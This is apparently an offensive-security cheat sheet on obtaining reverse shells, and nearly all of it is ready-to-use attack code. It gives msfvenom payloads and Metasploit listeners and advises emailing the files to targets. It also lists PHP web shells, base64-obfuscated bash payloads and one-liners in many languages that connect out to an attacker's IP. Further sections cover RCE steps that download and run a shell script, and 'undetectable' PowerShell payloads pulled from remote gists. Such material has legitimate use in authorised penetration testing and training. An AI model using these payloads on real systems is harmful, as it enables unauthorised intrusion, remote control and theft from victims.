# Reverse Shells

## Reverse Shell using Metasploit <a href="#reverse-shell-using-metasploit" id="reverse-shell-using-metasploit"></a>

We can create a reverse shell payload using Msfvenom and listen for reverse connection with Msfconsole.

### Generate Reverse Shell Payload <a href="#generate-reverse-shell-payload" id="generate-reverse-shell-payload"></a>

#### 1. Create a Payload using MsfVenom <a href="#id-1-create-a-payload-using-msfvenom" id="id-1-create-a-payload-using-msfvenom"></a>

```shellscript
# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f elf -o shell.elf

# Windows
msfvenom -p windows/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f aspx -o shell.aspx
```

#### 2. Start Listener using MsfConsole <a href="#id-2-start-listener-using-msfconsole" id="id-2-start-listener-using-msfconsole"></a>

```shellscript
msfconsole
msf> use exploit/multi/handler

# Linux
msf> set payload linux/x86/meterpreter/reverse_tcp
# Windows
msf> set payload windows/meterpreter/reverse_tcp
# or
msf> set payload windows/x64/meterpreter/reverse_tcp

msf> set lhost 10.0.0.1
msf> set lport 4444
msf> run
meterpreter> shell
```

#### 3. Send the Generated File to Target Machine <a href="#id-3-send-the-generated-file-to-target-machine" id="id-3-send-the-generated-file-to-target-machine"></a>

After that, we need to send the generated malicious file to target machine somehow such as below:

* Send email with this file.
* Upload this file to target web server.

Then a user in target machine executes this file, we may be able to get a shell of target system.

## Reverse Shell using Pwncat <a href="#reverse-shell-using-pwncat" id="reverse-shell-using-pwncat"></a>

Pwncat is a reverse and bind shell handler.\
It can be downloaded from [here](https://pwncat.org/).\
For listening from remote connection, run the following command.

```shellscript
pwncat-cs -lp 4444

# For Windows target
pwncat-cs -m windows -lp 4444
```

### Commands <a href="#commands" id="commands"></a>

After reverse connecting, we can execute commands either local or remote.

```shellscript
# Switch between Local and Remote shell
Ctrl+D

# Upload a file to target machine (e.g. upload example.txt from local to remote)
(local) upload ./example.txt /tmp/example.txt
```

## Web Reverse Shell <a href="#web-reverse-shell" id="web-reverse-shell"></a>

We can get a shell by putting the reverse shell payload into target website.

### PHP Reverse Shell (Linux) <a href="#php-reverse-shell-linux" id="php-reverse-shell-linux"></a>

```
# From local script (it's stored by default in Kali or Parrot)
cp /usr/share/webshell/php/php-reverse-shell.php ./shell.php

# From repo (https://github.com/pentestmonkey/php-reverse-shell)
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# From repo (https://github.com/flozz/p0wny-shell)
wget https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php -O shell.php
```

Replace the **`$ip`** and the **`$port`** in the script with your local ip and port.

#### Without fsockopen, and for FreeBSD <a href="#without-fsockopen-and-for-freebsd" id="without-fsockopen-and-for-freebsd"></a>

```
<?php
set_time_limit (0);
$ip = '10.0.0.1';  // CHANGE THIS
$port = 4444;      // CHANGE THIS

// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
2 => array("file", "/tmp/error-output.txt", "a")   // stderr is a pipe that the child will write to
);

$cwd = "/tmp";
$env = array('some_option' => 'aeiou');

$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {
    fwrite($pipes[0], 'rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ip $port >/tmp/f');
    fclose($pipes[0]);

    echo stream_get_contents($pipes[1]);
    fclose($pipes[1]);

    $return_value = proc_close($process);
    echo "command returned $return_value\n";
}
?>
```

#### Using Web Shell <a href="#using-web-shell" id="using-web-shell"></a>

Create a PHP script to allow us to execute arbitrary command.

```
<?php system($_REQUEST['test']); ?>
```

Then upload it to target website.\
Now we might be able to execute arbitrary command, in short, reverse shell as below.

```
curl https://victim.com/uploads/shell.php?test='bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'

# Base64 encoded payload
curl https://victim.com/uploads/shell.php?test='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjEi | base64 -d | bash'
```

### PHP Revese Shell (Windows) <a href="#php-revese-shell-windows" id="php-revese-shell-windows"></a>

Below are the available payloads.

* <https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php>
* [https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse Shell.php](https://github.com/Dhayalanb/windows-php-reverse-shell/blob/master/Reverse%20Shell.php)

### Python Reverse Shell (Linux) <a href="#python-reverse-shell-linux" id="python-reverse-shell-linux"></a>

It's required to upload a payload and command execution in the target website for successful.\
First, create a Python file e.g. **"revshell.py"**. Replace the ip and the port with your own.

```
# revshell.py
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
```

Then upload it to the target website.\
Next start a listener in local machine.

```
nc -lvnp 4444
```

Now we need to command execution by somehow in the target website.

```
python3 /path/to/revshell.py
```

If success, we should get a shell.

### ASP.NET <a href="#aspnet" id="aspnet"></a>

We can use **`.aspx`** file for reverse shell. Download from [here](https://github.com/borjmz/aspx-reverse-shell).

### Upload Script via SQLi <a href="#upload-script-via-sqli" id="upload-script-via-sqli"></a>

```
# req.txt: The request settings file which is saved using Burp Suite
sqlmap -r req.txt --dbs --random-agent --batch --file-dest=/var/www/html/shell.php --file-write=./shell.php
```

### Useful Tools <a href="#useful-tools" id="useful-tools"></a>

* [**Weevely3**](https://github.com/epinna/weevely3)

  A web shell generator.

  1. **Generate Backdoor with Password**

     Credentials required.

     ```
     weevely generate <password> ./shell.php
     ```
  2. **Upload the Payload to Target Website and Execute Commands**

     ```
     weevely https://vulnerable.com/upload/shell.php <password> whoami
     ```
  3. **Get a Shell**

     ```
     weevely https://vulnerable.com/upload/shell.php <password>
     ```

### Shell Script & Remote Code Execution (RCE) <a href="#shell-script-remote-code-execution-rce" id="shell-script-remote-code-execution-rce"></a>

If we can find a website is vulnerable to Remote Code Execution but cannot Reverse Shell, we may be able to do that by uploading the script.

#### 1. Create a shell script to reverse shell. <a href="#id-1-create-a-shell-script-to-reverse-shell" id="id-1-create-a-shell-script-to-reverse-shell"></a>

This file is named "revshell.sh".

```shellscript
#!/bin/bash
bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1
```

#### 2. Upload the script to website <a href="#id-2-upload-the-script-to-website" id="id-2-upload-the-script-to-website"></a>

Start web server in local machine to upload the script.

```shellscript
python3 -m http.server 8000
```

Then upload it by remote code execution in target website.

```shellscript
https://vulnerable.com/?cmd=wget http://<local-ip>:8000/revshell.sh
# or
https://vulnerable.com/?cmd=curl <local-ip>:8000/revshell.sh
```

To confirm the script uploaded, execute the following RCE.

```shellscript
https://vulnerable.com/?cmd=ls
```

#### 3. Get a shell <a href="#id-3-get-a-shell" id="id-3-get-a-shell"></a>

Start listener for getting a shell in local machine.

```shellscript
nc -lvnp 4444
```

Now execute the uploaded script via RCE.

```shellscript
# 1. Change permission for the script
https://vulenrable.com/?cmd=chmod 777 revshell.sh
# 2. Execute the script
https://vulnerable.com/?cmd=./revshell.sh
```

We should now get the target shell.

### Tools

```bash
**Tools** 
https://github.com/ShutdownRepo/shellerator
https://github.com/0x00-0x00/ShellPop
https://github.com/cybervaca/ShellReverse
https://liftoff.github.io/pyminifier/
https://github.com/xct/xc/
https://weibell.github.io/reverse-shell-generator/
https://github.com/phra/PEzor
```

### Linux

```sh
# Bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f
nc -e /bin/sh 10.11.1.111 4443
bash -i >& /dev/tcp/IP ADDRESS/8080 0>&1

# Bash B64 Ofuscated
{echo,COMMAND_BASE64}|{base64,-d}|bash 
echo${IFS}COMMAND_BASE64|base64${IFS}-d|bash
bash -c {echo,COMMAND_BASE64}|{base64,-d}|{bash,-i} 
echo COMMAND_BASE64 | base64 -d | bash 

# Perl
perl -e 'use Socket;$i="IP ADDRESS";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

# Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP ADDRESS",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c '__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 4433 >/tmp/f')-1\'

# Python IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' 

# Ruby
ruby -rsocket -e'f=TCPSocket.open("IP ADDRESS",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

# PHP:
# /usr/share/webshells/php/php-reverse-shell.php
# http://pentestmonkey.net/tools/web-shells/php-reverse-shell
php -r '$sock=fsockopen("IP ADDRESS",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
$sock, 1=>$sock, 2=>$sock), $pipes);?>

# Golang
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","IP ADDRESS:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

# AWK
awk 'BEGIN {s = "/inet/tcp/0/IP ADDRESS/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

# Socat
socat TCP4:10.10.10.10:443 EXEC:/bin/bash
# Socat listener
socat -d -d TCP4-LISTEN:443 STDOUT
```

### Windows

```shellscript
# Netcat
nc -e cmd.exe 10.11.1.111 4443

# Powershell
$callback = New-Object System.Net.Sockets.TCPClient("IP ADDRESS",53);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$callback.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.11',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

# Undetectable:
# https://0xdarkvortex.dev/index.php/2018/09/04/malware-on-steroids-part-1-simple-cmd-reverse-shell/
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

# Undetectable 2:
# https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
# 64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
# 32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
```

### Tips

```shellscript
#  rlwrap
# https://linux.die.net/man/1/rlwrap
# Connect to a netcat client:
rlwrap nc [IP Address] [port]
# Connect to a netcat Listener:
rlwrap nc -lvp [Localport]

# Linux Backdoor Shells: 
rlwrap nc [Your IP Address] -e /bin/sh 
rlwrap nc [Your IP Address] -e /bin/bash
rlwrap nc [Your IP Address] -e /bin/zsh
rlwrap nc [Your IP Address] -e /bin/ash

# Windows Backdoor Shell: 
rlwrap nc -lv [localport] -e cmd.exe
```
